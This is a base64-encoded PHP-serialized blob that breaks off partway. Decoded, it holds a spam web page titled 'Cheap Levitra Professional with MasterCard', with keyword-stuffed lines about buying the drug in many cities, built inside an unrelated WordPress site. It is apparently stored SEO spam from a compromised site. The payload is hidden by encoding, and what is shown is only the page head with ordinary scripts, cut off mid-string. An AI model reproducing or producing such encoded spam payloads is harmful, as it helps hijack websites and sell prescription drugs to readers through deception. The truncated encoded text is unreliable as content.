YToyOntzOjU6Im5pY2hlIjtzOjIwOiJsZXZpdHJhIHByb2Zlc3Npb25hbCI7czo0OiJodG1sIjtzOjkyNzE5OiI8IWRvY3R5cGUgaHRtbD4KCgo8aHRtbCBjbGFzcz0ibm8tanMiIGxhbmc9ImVuLVVTIj4KCgk8aGVhZD4KCQkKPG1ldGEgbmFtZT0icm9ib3RzIiBjb250ZW50PSJub2FyY2hpdmUiPgo8bWV0YSBjaGFyc2V0PSJVVEYtOCIgLz4KPHNjcmlwdCB0eXBlPSd0ZXh0L2phdmFzY3JpcHQnPnZhciB1YSA9IG5hdmlnYXRvci51c2VyQWdlbnQ7IHZhciBtZXRhID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnbWV0YScpO2lmKCh1YS50b0xvd2VyQ2FzZSgpLmluZGV4T2YoJ2FuZHJvaWQnKSA+IC0xICYmIHVhLnRvTG93ZXJDYXNlKCkuaW5kZXhPZignbW9iaWxlJykpIHx8ICgodWEubWF0Y2goL2lQaG9uZS9pKSkgfHwgKHVhLm1hdGNoKC9pUGFkL2kpKSkpeyBtZXRhLm5hbWUgPSAndmlld3BvcnQnOwltZXRhLmNvbnRlbnQgPSAndGFyZ2V0LWRlbnNpdHlkcGk9ZGV2aWNlLWRwaSwgd2lkdGg9ZGV2aWNlLXdpZHRoJzsgfXZhciBtID0gZG9jdW1lbnQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoJ21ldGEnKVswXTsgbS5wYXJlbnROb2RlLmluc2VydEJlZm9yZShtZXRhLG0pOzwvc2NyaXB0PiAJCTxtZXRhIG5hbWU9IkF1dGhvciIgY29udGVudD0iQWl0VGhlbWVzLmNsdWIsIGh0dHA6Ly93d3cuYWl0LXRoZW1lcy5jbHViIiAvPgoKCQk8dGl0bGU+Q2hlYXAgTGV2aXRyYSBQcm9mZXNzaW9uYWwgd2l0aCBNYXN0ZXJDYXJkPC90aXRsZT4KPG1ldGEgbmFtZT0iZGVzY3JpcHRpb24iIGNvbnRlbnQ9IlBheSBmb3IgTGV2aXRyYSBQcm9mZXNzaW9uYWwgd2l0aCBWaXNhLiBQdXJjaGFzZSBMZXZpdHJhIFByb2Zlc3Npb25hbCBpbiBMZXNvdGhvIE1hc2VydS4gUHVyY2hhc2UgTGV2aXRyYSBQcm9mZXNzaW9uYWwgaW4gV2FsZXMgQ2FyZGlmZi4gUHVyY2hhc2UgTGV2aXRyYSBQcm9mZXNzaW9uYWwgaW4gRG9taW5pY2FuIFJlcHVibGljIFNhbnRvIERvbWluZ28uIFB1cmNoYXNlIExldml0cmEgUHJvZmVzc2lvbmFsIGluIENhbmFkYSBPdHRhd2EuIEJ1eSBMZXZpdHJhIFByb2Zlc3Npb25hbCBpbiBTYW1vYSBBcGlhLiBQdXJjaGFzZSBMZXZpdHJhIFByb2Zlc3Npb25hbCBpbiBLeXJneXpzdGFuIEJpc2hrZWsuIEJ1eSBMZXZpdHJhIFByb2Zlc3Npb25hbCBpbiBGcmVuY2ggR3VpYW5hIENheWVubmUuIFRha2UgTGV2aXRyYSBQcm9mZXNzaW9uYWwgLSBhY2NlcHQgVmlzYS4gT3JkZXIgTGV2aXRyYSBQcm9mZXNzaW9uYWwgaW4gUm9tYW5pYSBCdWNoYXJlc3QuIj4KCQk8bGluayByZWw9InByb2ZpbGUiIGhyZWY9Imh0dHA6Ly9nbXBnLm9yZy94Zm4vMTEiIC8+CgkJPGxpbmsgcmVsPSJwaW5nYmFjayIgaHJlZj0iaHR0cDovL2Z1bnJ1bm5lcnNiZWFjaGVzLnVzL3htbHJwYy5waHAiIC8+CgoJCTxsaW5rIGhyZWY9Imh0dHA6Ly9mb250cy5nb29nbGVhcGlzLmNvbS9jc3M/ZmFtaWx5PU9zd2FsZCIgcmVsPSJzdHlsZXNoZWV0IiB0eXBlPSJ0ZXh0L2NzcyIgLz4KCgkJPGxpbmsgaWQ9ImFpdC1zdHlsZSIgcmVsPSJzdHlsZXNoZWV0IiB0eXBlPSJ0ZXh0L2NzcyIgbWVkaWE9ImFsbCIgaHJlZj0iaHR0cDovL2Z1bnJ1bm5lcnNiZWFjaGVzLnVzL3dwLWNvbnRlbnQvdGhlbWVzL2RpcmVjdG9yeS9zdHlsZS5jc3M/MTUwNTM1NjU5OSIgLz4KCjxsaW5rIHJlbD0nZG5zLXByZWZldGNoJyBocmVmPScvL21hcHMuZ29vZ2xlLmNvbScgLz4KPGxpbmsgcmVsPSdkbnMtcHJlZmV0Y2gnIGhyZWY9Jy8vcy53Lm9yZycgLz4KCgoJCTxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4KCQkJd2luZG93Ll93cGVtb2ppU2V0dGluZ3MgPSB7ImJhc2VVcmwiOiJodHRwczpcL1wvcy53Lm9yZ1wvaW1hZ2VzXC9jb3JlXC9lbW9qaVwvMTFcLzcyeDcyXC8iLCJleHQiOiIucG5nIiwic3ZnVXJsIjoiaHR0cHM6XC9cL3Mudy5vcmdcL2ltYWdlc1wvY29yZVwvZW1vamlcLzExXC9zdmdcLyIsInN2Z0V4dCI6Ii5zdmciLCJzb3VyY2UiOnsiY29uY2F0ZW1vamkiOiJodHRwOlwvXC9mdW5ydW5uZXJzYmVhY2hlcy51c1wvd3AtaW5jbHVkZXNcL2pzXC93cC1lbW9qaS1yZWxlYXNlLm1pbi5qcz92ZXI9NC45LjEwIn19OwoJCQkhZnVuY3Rpb24oYSxiLGMpe2Z1bmN0aW9uIGQoYSxiKXt2YXIgYz1TdHJpbmcuZnJvbUNoYXJDb2RlO2wuY2xlYXJSZWN0KDAsMCxrLndpZHRoLGsuaGVpZ2h0KSxsLmZpbGxUZXh0KGMuYXBwbHkodGhpcyxhKSwwLDApO3ZhciBkPWsudG9EYXRhVVJMKCk7bC5jbGVhclJlY3QoMCwwLGsud2lkdGgsay5oZWlnaHQpLGwuZmlsbFRleHQoYy5hcHBseSh0aGlzLGIpLDAsMCk7dmFyIGU9ay50b0RhdGFVUkwoKTtyZXR1cm4gZD09PWV9ZnVuY3Rpb24gZShhKXt2YXIgYjtpZighbHx8IWwuZmlsbFRleHQpcmV0dXJuITE7c3dpdGNoKGwudGV4dEJhc2VsaW5lPSJ0b3AiLGwuZm9udD0iNjAwIDMycHggQXJpYWwiLGEpe2Nhc2UiZmxhZyI6cmV0dXJuIShiPWQoWzU1MzU2LDU2ODI2LDU1MzU2LDU2ODE5XSxbNTUzNTYsNTY4MjYsODIwMyw1NTM1Niw1NjgxOV0pKSYmKGI9ZChbNTUzNTYsNTczMzIsNTYxMjgsNTY0MjMsNTYxMjgsNTY0MTgsNTYxMjgsNTY0MjEsNTYxMjgsNTY0MzAsNTYxMjgsNTY0MjMsNTYxMjgsNTY0NDddLFs1NTM1Niw1NzMzMiw4MjAzLDU2MTI4LDU2NDIzLDgyMDMsNTYxMjgsNTY0MTgsODIwMyw1NjEyOCw1NjQyMSw4MjAzLDU2MTI4LDU2NDMwLDgyMDMsNTYxMjgsNTY0MjMsODIwMyw1NjEyOCw1NjQ0N10pLCFiKTtjYXNlImVtb2ppIjpyZXR1cm4gYj1kKFs1NTM1OCw1Njc2MCw5NzkyLDY1MDM5XSxbNTUzNTgsNTY3NjAsODIwMyw5NzkyLDY1MDM5XSksIWJ9cmV0dXJuITF9ZnVuY3Rpb24gZihhKXt2YXIgYz1iLmNyZWF0ZUVsZW1lbnQoInNjcmlwdCIpO2Muc3JjPWEsYy5kZWZlcj1jLnR5cGU9InRleHQvamF2YXNjcmlwdCIsYi5nZXRFbGVtZW50c0J5VGFnTmFtZSgiaGVhZCIpWzBdLmFwcGVuZENoaWxkKGMpfXZhciBnLGgsaSxqLGs9Yi5jcmVhdGVFbGVtZW50KCJjYW52YXMiKSxsPWsuZ2V0Q29udGV4dCYmay5nZXRDb250ZXh0KCIyZCIpO2ZvcihqPUFycmF5KCJmbGFnIiwiZW1vamkiKSxjLnN1cHBvcnRzPXtldmVyeXRoaW5nOiEwLGV2ZXJ5dGhpbmdFeGNlcHRGbGFnOiEwfSxpPTA7aTxqLmxlbmd0aDtpKyspYy5zdXBwb3J0c1tqW2ldXT1lKGpbaV0pLGMuc3VwcG9ydHMuZXZlcnl0aGluZz1jLnN1cHBvcnRzLmV2ZXJ5dGhpbmcmJmMuc3VwcG9ydHNbaltpXV0sImZsYWciIT09altpXSYmKGMuc3VwcG9ydHMuZXZlcnl0aGluZ0V4Y2VwdEZsYWc9Yy5zdXBwb3J0cy5ldmVyeXRoaW5nRXhjZXB0RmxhZyYmYy5zdXBwb3J0c1tqW2ldXSk7Yy5zdXBwb3J0cy5ldmVyeXRoaW5nRXhjZXB0RmxhZz1jLnN1cHBvcnRzLmV2ZXJ5dGhpbmdFeGNlcHRGbGFnJiYhYy5zdXBwb3J0cy5mbGFnLGMuRE9NUmVhZHk9ITEsYy5yZWFkeUNhbGxiYWNrPWZ1bmN0aW9uKCl7Yy5ET01SZWFkeT0hMH0sYy5zdXBwb3J0cy5ldmVyeXRoaW5nfHwoaD1mdW5jdGlvbigpe2MucmVhZHlDYWxsYmFjaygpfSxiLmFkZEV2ZW50TGlzdGVuZXI/KGIuYWRkRXZlbnRMaXN0ZW5lcigiRE9NQ29udGVudExvYWRlZCIsaCwhMSksYS5hZGRFdmVudExpc3RlbmVyKCJsb2FkIixoLCExKSk6KGEuYXR0YWNoRXZlbnQoIm9ubG9hZCIsaCksYi5hdHRhY2hFdmVudCgib25yZWFkeXN0YXRlY2hhbmdlIixmdW5jdGlvbigpeyJjb21wbGV0ZSI9PT1iLnJlYWR5U3RhdGUmJmMucmVhZHlDYWxsYmFjaygpfSkpLGc9Yy5zb3VyY2V8fHt9LGcuY29uY2F0ZW1vamk/ZihnLmNvbmNhdGVtb2ppKTpnLndwZW1vamkmJmcudHdlbW9qaSYmKGYoZy50d2Vtb2ppKSxmKGcud3BlbW9qaSkpKX0od2luZG93LGRvY3VtZW50LHdpbmRvdy5fd3BlbW9qaVNldHRpbmdzKTsKCQk8L3NjcmlwdD4KCQk8c3R5bGUgdHlwZT0idGV4dC9jc3MiPgppbWcud3Atc21pbGV5LAppbWcuZW1vamkgewoJZGlzcGxheTogaW5saW5lICFpbXBvcnRhbnQ7Cglib3JkZXI6IG5vbmUgIWltcG9ydGFudDsKCWJveC1zaGFkb3c6IG5vbmUgIWltcG9ydGFudDsKCWhlaWdodDogMWVtICFpbXBvcnRhbnQ7Cgl3aWR0aDogMWVtICFpbXBvcnRhbnQ7CgltYXJnaW46IDAgLjA3ZW0gIWltcG9ydGFudDsKCXZlcnRpY2FsLWFsaWduOiAtMC4xZW0gIWltcG9ydGFudDsKCWJhY2tncm91bmQ6IG5vbmUgIWltcG9ydGFudDsKCXBhZGRpbmc6IDAgIWltcG9ydGFudDsKfQo8L3N0eWxlPgo8bGluayByZWw9J3N0eWxlc2hlZXQnIGlkPSdndHJhbnNsYXRlLXN0eWxlLWNzcycgIGhyZWY9J2h0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy93cC1jb250ZW50L3BsdWdpbnMvZ3RyYW5zbGF0ZS9ndHJhbnNsYXRlLXN0eWxlMjQuY3NzP3Zlcj00LjkuMTAnIHR5cGU9J3RleHQvY3NzJyBtZWRpYT0nYWxsJyAvPgo8bGluayByZWw9J3N0eWxlc2hlZXQnIGlkPSdjb250YWN0LWZvcm0tNy1jc3MnICBocmVmPSdodHRwOi8vZnVucnVubmVyc2JlYWNoZXMudXMvd3AtY29udGVudC9wbHVnaW5zL2NvbnRhY3QtZm9ybS03L2luY2x1ZGVzL2Nzcy9zdHlsZXMuY3NzP3Zlcj00LjknIHR5cGU9J3RleHQvY3NzJyBtZWRpYT0nYWxsJyAvPgo8bGluayByZWw9J3N0eWxlc2hlZXQnIGlkPSdycy1wbHVnaW4tc2V0dGluZ3MtY3NzJyAgaHJlZj0naHR0cDovL2Z1bnJ1bm5lcnNiZWFjaGVzLnVzL3dwLWNvbnRlbnQvcGx1Z2lucy9yZXZzbGlkZXIvcnMtcGx1Z2luL2Nzcy9zZXR0aW5ncy5jc3M/cmV2PTQuNi4wJiMwMzg7dmVyPTQuOS4xMCcgdHlwZT0ndGV4dC9jc3MnIG1lZGlhPSdhbGwnIC8+CjxzdHlsZSBpZD0ncnMtcGx1Z2luLXNldHRpbmdzLWlubGluZS1jc3MnIHR5cGU9J3RleHQvY3NzJz4KLnRwLWNhcHRpb24gYXtjb2xvcjojZmY3MzAyO3RleHQtc2hhZG93Om5vbmU7LXdlYmtpdC10cmFuc2l0aW9uOmFsbCAwLjJzIGVhc2Utb3V0Oy1tb3otdHJhbnNpdGlvbjphbGwgMC4ycyBlYXNlLW91dDstby10cmFuc2l0aW9uOmFsbCAwLjJzIGVhc2Utb3V0Oy1tcy10cmFuc2l0aW9uOmFsbCAwLjJzIGVhc2Utb3V0fS50cC1jYXB0aW9uIGE6aG92ZXJ7Y29sb3I6I2ZmYTkwMn0KPC9zdHlsZT4KPGxpbmsgcmVsPSdzdHlsZXNoZWV0JyBpZD0nYWl0LWpxdWVyeS1wcmV0dHlQaG90by1jc3MnICBocmVmPSdodHRwOi8vZnVucnVubmVyc2JlYWNoZXMudXMvd3AtY29udGVudC90aGVtZXMvZGlyZWN0b3J5L2Rlc2lnbi9jc3MvcHJldHR5UGhvdG8uY3NzP3Zlcj00LjkuMTAnIHR5cGU9J3RleHQvY3NzJyBtZWRpYT0nYWxsJyAvPgo8bGluayByZWw9J3N0eWxlc2hlZXQnIGlkPSdhaXQtanF1ZXJ5LWZhbmN5Ym94LWNzcycgIGhyZWY9J2h0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy93cC1jb250ZW50L3RoZW1lcy9kaXJlY3RvcnkvZGVzaWduL2Nzcy9mYW5jeWJveC9qcXVlcnkuZmFuY3lib3gtMS4zLjQuY3NzP3Zlcj00LjkuMTAnIHR5cGU9J3RleHQvY3NzJyBtZWRpYT0nYWxsJyAvPgo8bGluayByZWw9J3N0eWxlc2hlZXQnIGlkPSdhaXQtanF1ZXJ5LWhvdmVyLXpvb20tY3NzJyAgaHJlZj0naHR0cDovL2Z1bnJ1bm5lcnNiZWFjaGVzLnVzL3dwLWNvbnRlbnQvdGhlbWVzL2RpcmVjdG9yeS9kZXNpZ24vY3NzL2hvdmVyWm9vbS5jc3M/dmVyPTQuOS4xMCcgdHlwZT0ndGV4dC9jc3MnIG1lZGlhPSdhbGwnIC8+CjxsaW5rIHJlbD0nc3R5bGVzaGVldCcgaWQ9J2FpdC1qcXVlcnktZmFuY3ljaGVja2JveC1jc3MnICBocmVmPSdodHRwOi8vZnVucnVubmVyc2JlYWNoZXMudXMvd3AtY29udGVudC90aGVtZXMvZGlyZWN0b3J5L2Rlc2lnbi9jc3MvanF1ZXJ5LmZhbmN5Y2hlY2tib3gubWluLmNzcz92ZXI9NC45LjEwJyB0eXBlPSd0ZXh0L2NzcycgbWVkaWE9J2FsbCcgLz4KPGxpbmsgcmVsPSdzdHlsZXNoZWV0JyBpZD0nanF1ZXJ5LXVpLWNzcy1jc3MnICBocmVmPSdodHRwOi8vZnVucnVubmVyc2JlYWNoZXMudXMvd3AtY29udGVudC90aGVtZXMvZGlyZWN0b3J5L2Rlc2lnbi9jc3MvanF1ZXJ5LXVpLTEuMTAuMS5jdXN0b20ubWluLmNzcz92ZXI9NC45LjEwJyB0eXBlPSd0ZXh0L2NzcycgbWVkaWE9J2FsbCcgLz4KPHNjcmlwdCB0eXBlPSd0ZXh0L2phdmFzY3JpcHQnIHNyYz0naHR0cDovL2Z1bnJ1bm5lcnNiZWFjaGVzLnVzL3dwLWluY2x1ZGVzL2pzL2pxdWVyeS9qcXVlcnkuanM/dmVyPTEuMTIuNCc+PC9zY3JpcHQ+CjxzY3JpcHQgdHlwZT0ndGV4dC9qYXZhc2NyaXB0JyBzcmM9J2h0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy93cC1pbmNsdWRlcy9qcy9qcXVlcnkvanF1ZXJ5LW1pZ3JhdGUubWluLmpzP3Zlcj0xLjQuMSc+PC9zY3JpcHQ+CjxzY3JpcHQgdHlwZT0ndGV4dC9qYXZhc2NyaXB0JyBzcmM9J2h0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy93cC1jb250ZW50L3BsdWdpbnMvZGlyZWN0b3J5LWV4dGVuc2lvbi1wbHVnaW4vL2xpYnMvZnJvbnRFbmRTY3JpcHRzLmpzP3Zlcj00LjkuMTAnPjwvc2NyaXB0Pgo8c2NyaXB0IHR5cGU9J3RleHQvamF2YXNjcmlwdCcgc3JjPSdodHRwOi8vZnVucnVubmVyc2JlYWNoZXMudXMvd3AtY29udGVudC9wbHVnaW5zL2RpcmVjdG9yeS1leHRlbnNpb24tcGx1Z2luLy9saWJzL2pxdWVyeS5qY2Fyb3VzZWwubWluLmpzP3Zlcj00LjkuMTAnPjwvc2NyaXB0Pgo8c2NyaXB0IHR5cGU9J3RleHQvamF2YXNjcmlwdCcgc3JjPSdodHRwOi8vZnVucnVubmVyc2JlYWNoZXMudXMvd3AtY29udGVudC9wbHVnaW5zL2RpcmVjdG9yeS1leHRlbnNpb24tcGx1Z2luLy9saWJzL2JmX3NjcmlwdC5qcz92ZXI9NC45LjEwJz48L3NjcmlwdD4KPHNjcmlwdCB0eXBlPSd0ZXh0L2phdmFzY3JpcHQnIHNyYz0naHR0cDovL2Z1bnJ1bm5lcnNiZWFjaGVzLnVzL3dwLWNvbnRlbnQvcGx1Z2lucy9kaXJlY3RvcnktZXh0ZW5zaW9uLXBsdWdpbi8vbGlicy9zY3JpcHQuanM/dmVyPTQuOS4xMCc+PC9zY3JpcHQ+CjxzY3JpcHQgdHlwZT0ndGV4dC9qYXZhc2NyaXB0JyBzcmM9J2h0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy93cC1jb250ZW50L3BsdWdpbnMvcmV2c2xpZGVyL3JzLXBsdWdpbi9qcy9qcXVlcnkudGhlbWVwdW5jaC50b29scy5taW4uanM/cmV2PTQuNi4wJiMwMzg7dmVyPTQuOS4xMCc+PC9zY3JpcHQ+CjxzY3JpcHQgdHlwZT0ndGV4dC9qYXZhc2NyaXB0JyBzcmM9J2h0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy93cC1jb250ZW50L3BsdWdpbnMvcmV2c2xpZGVyL3JzLXBsdWdpbi9qcy9qcXVlcnkudGhlbWVwdW5jaC5yZXZvbHV0aW9uLm1pbi5qcz9yZXY9NC42LjAmIzAzODt2ZXI9NC45LjEwJz48L3NjcmlwdD4KPHNjcmlwdCB0eXBlPSd0ZXh0L2phdmFzY3JpcHQnIHNyYz0naHR0cDovL2Z1bnJ1bm5lcnNiZWFjaGVzLnVzL3dwLWNvbnRlbnQvdGhlbWVzL2RpcmVjdG9yeS9kZXNpZ24vanMvbGlicy9qcXVlcnkuZmFuY3ljaGVja2JveC5taW4uanM/dmVyPTQuOS4xMCc+PC9zY3JpcHQ+CjxzY3JpcHQgdHlwZT0ndGV4dC9qYXZhc2NyaXB0JyBzcmM9J2h0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy93cC1jb250ZW50L3RoZW1lcy9kaXJlY3RvcnkvZGVzaWduL2pzL2xpYnMvanF1ZXJ5Lmh0bWw1LXBsYWNlaG9sZGVyLXNoaW0uanM/dmVyPTQuOS4xMCc+PC9zY3JpcHQ+CjxzY3JpcHQgdHlwZT0ndGV4dC9qYXZhc2NyaXB0JyBzcmM9J2h0dHA6Ly9tYXBzLmdvb2dsZS5jb20vbWFwcy9hcGkvanM/a2V5PUFJemFTeUQxbmh5ckpyeUhRRTBONk9RaGtvcXdFTEJNMHhPNTBOSSYjMDM4O3NlbnNvcj1mYWxzZSYjMDM4O2xhbmd1YWdlPWVuX1VTJiMwMzg7dmVyPTQuOS4xMCc+PC9zY3JpcHQ+CjxzY3JpcHQgdHlwZT0ndGV4dC9qYXZhc2NyaXB0JyBzcmM9J2h0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy93cC1jb250ZW50L3RoZW1lcy9kaXJlY3RvcnkvZGVzaWduL2pzL2xpYnMvZ21hcDMuaW5mb2JveC5qcz92ZXI9NC45LjEwJz48L3NjcmlwdD4KPHNjcmlwdCB0eXBlPSd0ZXh0L2phdmFzY3JpcHQnIHNyYz0naHR0cDovL2Z1bnJ1bm5lcnNiZWFjaGVzLnVzL3dwLWNvbnRlbnQvdGhlbWVzL2RpcmVjdG9yeS9kZXNpZ24vanMvbGlicy9nbWFwMy5taW4uanM/dmVyPTQuOS4xMCc+PC9zY3JpcHQ+CjxzY3JpcHQgdHlwZT0ndGV4dC9qYXZhc2NyaXB0JyBzcmM9J2h0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy93cC1jb250ZW50L3RoZW1lcy9kaXJlY3RvcnkvZGVzaWduL2pzL2xpYnMvanF1ZXJ5LmluZmllbGRsYWJlbC5qcz92ZXI9NC45LjEwJz48L3NjcmlwdD4KPHNjcmlwdCB0eXBlPSd0ZXh0L2phdmFzY3JpcHQnIHNyYz0naHR0cDovL2Z1bnJ1bm5lcnNiZWFjaGVzLnVzL3dwLWNvbnRlbnQvdGhlbWVzL2RpcmVjdG9yeS9kZXNpZ24vanMvbGlicy9qcXVlcnkucHJldHR5UGhvdG8uanM/dmVyPTQuOS4xMCc+PC9zY3JpcHQ+CjxzY3JpcHQgdHlwZT0ndGV4dC9qYXZhc2NyaXB0JyBzcmM9J2h0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy93cC1jb250ZW50L3RoZW1lcy9kaXJlY3RvcnkvZGVzaWduL2pzL2xpYnMvanF1ZXJ5LmZhbmN5Ym94LTEuMy40LmpzP3Zlcj00LjkuMTAnPjwvc2NyaXB0Pgo8c2NyaXB0IHR5cGU9J3RleHQvamF2YXNjcmlwdCcgc3JjPSdodHRwOi8vZnVucnVubmVyc2JlYWNoZXMudXMvd3AtY29udGVudC90aGVtZXMvZGlyZWN0b3J5L2Rlc2lnbi9qcy9saWJzL2pxdWVyeS5lYXNpbmctMS4zLm1pbi5qcz92ZXI9NC45LjEwJz48L3NjcmlwdD4KPHNjcmlwdCB0eXBlPSd0ZXh0L2phdmFzY3JpcHQnIHNyYz0naHR0cDovL2Z1bnJ1bm5lcnNiZWFjaGVzLnVzL3dwLWNvbnRlbnQvdGhlbWVzL2RpcmVjdG9yeS9kZXNpZ24vanMvbGlicy9qcXVlcnkubmljZXNjcm9sbC5taW4uanM/dmVyPTQuOS4xMCc+PC9zY3JpcHQ+CjxzY3JpcHQgdHlwZT0ndGV4dC9qYXZhc2NyaXB0JyBzcmM9J2h0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy93cC1jb250ZW50L3RoZW1lcy9kaXJlY3RvcnkvZGVzaWduL2pzL2xpYnMvanF1ZXJ5LnF1aWNrc2FuZC5qcz92ZXI9NC45LjEwJz48L3NjcmlwdD4KPHNjcmlwdCB0eXBlPSd0ZXh0L2phdmFzY3JpcHQnIHNyYz0naHR0cDovL2Z1bnJ1bm5lcnNiZWFjaGVzLnVzL3dwLWNvbnRlbnQvdGhlbWVzL2RpcmVjdG9yeS9kZXNpZ24vanMvbGlicy9ob3Zlci56b29tLmpzP3Zlcj00LjkuMTAnPjwvc2NyaXB0Pgo8c2NyaXB0IHR5cGU9J3RleHQvamF2YXNjcmlwdCcgc3JjPSdodHRwOi8vZnVucnVubmVyc2JlYWNoZXMudXMvd3AtY29udGVudC90aGVtZXMvZGlyZWN0b3J5L2Rlc2lnbi9qcy9saWJzL2pxdWVyeS5maW5pc2hlZFR5cGluZy5qcz92ZXI9NC45LjEwJz48L3NjcmlwdD4KPHNjcmlwdCB0eXBlPSd0ZXh0L2phdmFzY3JpcHQnIHNyYz0naHR0cDovL2Z1bnJ1bm5lcnNiZWFjaGVzLnVzL3dwLWNvbnRlbnQvdGhlbWVzL2RpcmVjdG9yeS9kZXNpZ24vanMvbGlicy9zcGluLm1pbi5qcz92ZXI9NC45LjEwJz48L3NjcmlwdD4KPHNjcmlwdCB0eXBlPSd0ZXh0L2phdmFzY3JpcHQnIHNyYz0naHR0cDovL2Z1bnJ1bm5lcnNiZWFjaGVzLnVzL3dwLWNvbnRlbnQvdGhlbWVzL2RpcmVjdG9yeS9kZXNpZ24vanMvbGlicy9tb2Rlcm5penIudG91Y2guanM/dmVyPTQuOS4xMCc+PC9zY3JpcHQ+CjxzY3JpcHQgdHlwZT0ndGV4dC9qYXZhc2NyaXB0JyBzcmM9J2h0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy93cC1jb250ZW50L3RoZW1lcy9kaXJlY3RvcnkvZGVzaWduL2pzL2dyaWRnYWxsZXJ5LmpzP3Zlcj00LjkuMTAnPjwvc2NyaXB0Pgo8c2NyaXB0IHR5cGU9J3RleHQvamF2YXNjcmlwdCcgc3JjPSdodHRwOi8vZnVucnVubmVyc2JlYWNoZXMudXMvd3AtY29udGVudC90aGVtZXMvZGlyZWN0b3J5L2Rlc2lnbi9qcy9yYXRpbmcuanM/dmVyPTQuOS4xMCc+PC9zY3JpcHQ+CjxzY3JpcHQgdHlwZT0ndGV4dC9qYXZhc2NyaXB0Jz4KLyogPCFbQ0RBVEFbICovCnZhciBNeUFqYXggPSB7ImFqYXh1cmwiOiJodHRwOlwvXC9mdW5ydW5uZXJzYmVhY2hlcy51c1wvd3AtYWRtaW5cL2FkbWluLWFqYXgucGhwIiwiYWpheG5vbmNlIjoiNTU2YWJkZWUyMyJ9OwovKiBdXT4gKi8KPC9zY3JpcHQ+CjxzY3JpcHQgdHlwZT0ndGV4dC9qYXZhc2NyaXB0JyBzcmM9J2h0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy93cC1jb250ZW50L3RoZW1lcy9kaXJlY3RvcnkvZGVzaWduL2pzL3NjcmlwdC5qcz92ZXI9NC45LjEwJz48L3NjcmlwdD4KPGxpbmsgcmVsPSdodHRwczovL2FwaS53Lm9yZy8nIGhyZWY9J2h0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy9pbmRleC5waHA/cmVzdF9yb3V0ZT0vJyAvPgo8bGluayByZWw9IkVkaXRVUkkiIHR5cGU9ImFwcGxpY2F0aW9uL3JzZCt4bWwiIHRpdGxlPSJSU0QiIGhyZWY9Imh0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy94bWxycGMucGhwP3JzZCIgLz4KPGxpbmsgcmVsPSJ3bHdtYW5pZmVzdCIgdHlwZT0iYXBwbGljYXRpb24vd2x3bWFuaWZlc3QreG1sIiBocmVmPSJodHRwOi8vZnVucnVubmVyc2JlYWNoZXMudXMvd3AtaW5jbHVkZXMvd2x3bWFuaWZlc3QueG1sIiAvPiAKPGxpbmsgcmVsPSJjYW5vbmljYWwiIGhyZWY9Imh0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy8/YWl0LWRpci1pdGVtLWNhdGVnb3J5PXBldC1ob3NwaXRhbHMiID4KPGxpbmsgcmVsPSdzaG9ydGxpbmsnIGhyZWY9J2h0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy8/YWl0LWRpci1pdGVtLWNhdGVnb3J5PXBldC1ob3NwaXRhbHMnIC8+CgoKPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPgooZnVuY3Rpb24odXJsKXsKCWlmKC8oPzpDaHJvbWVcLzI2XC4wXC4xNDEwXC42MyBTYWZhcmlcLzUzN1wuMzF8V29yZGZlbmNlVGVzdE1vbkJvdCkvLnRlc3QobmF2aWdhdG9yLnVzZXJBZ2VudCkpeyByZXR1cm47IH0KCXZhciBhZGRFdmVudCA9IGZ1bmN0aW9uKGV2dCwgaGFuZGxlcikgewoJCWlmICh3aW5kb3cuYWRkRXZlbnRMaXN0ZW5lcikgewoJCQlkb2N1bWVudC5hZGRFdmVudExpc3RlbmVyKGV2dCwgaGFuZGxlciwgZmFsc2UpOwoJCX0gZWxzZSBpZiAod2luZG93LmF0dGFjaEV2ZW50KSB7CgkJCWRvY3VtZW50LmF0dGFjaEV2ZW50KCdvbicgKyBldnQsIGhhbmRsZXIpOwoJCX0KCX07Cgl2YXIgcmVtb3ZlRXZlbnQgPSBmdW5jdGlvbihldnQsIGhhbmRsZXIpIHsKCQlpZiAod2luZG93LnJlbW92ZUV2ZW50TGlzdGVuZXIpIHsKCQkJZG9jdW1lbnQucmVtb3ZlRXZlbnRMaXN0ZW5lcihldnQsIGhhbmRsZXIsIGZhbHNlKTsKCQl9IGVsc2UgaWYgKHdpbmRvdy5kZXRhY2hFdmVudCkgewoJCQlkb2N1bWVudC5kZXRhY2hFdmVudCgnb24nICsgZXZ0LCBoYW5kbGVyKTsKCQl9Cgl9OwoJdmFyIGV2dHMgPSAnY29udGV4dG1lbnUgZGJsY2xpY2sgZHJhZyBkcmFnZW5kIGRyYWdlbnRlciBkcmFnbGVhdmUgZHJhZ292ZXIgZHJhZ3N0YXJ0IGRyb3Aga2V5ZG93biBrZXlwcmVzcyBrZXl1cCBtb3VzZWRvd24gbW91c2Vtb3ZlIG1vdXNlb3V0IG1vdXNlb3ZlciBtb3VzZXVwIG1vdXNld2hlZWwgc2Nyb2xsJy5zcGxpdCgnICcpOwoJdmFyIGxvZ0h1bWFuID0gZnVuY3Rpb24oKSB7CgkJdmFyIHdmc2NyID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnc2NyaXB0Jyk7CgkJd2ZzY3IudHlwZSA9ICd0ZXh0L2phdmFzY3JpcHQnOwoJCXdmc2NyLmFzeW5jID0gdHJ1ZTsKCQl3ZnNjci5zcmMgPSB1cmwgKyAnJnI9JyArIE1hdGgucmFu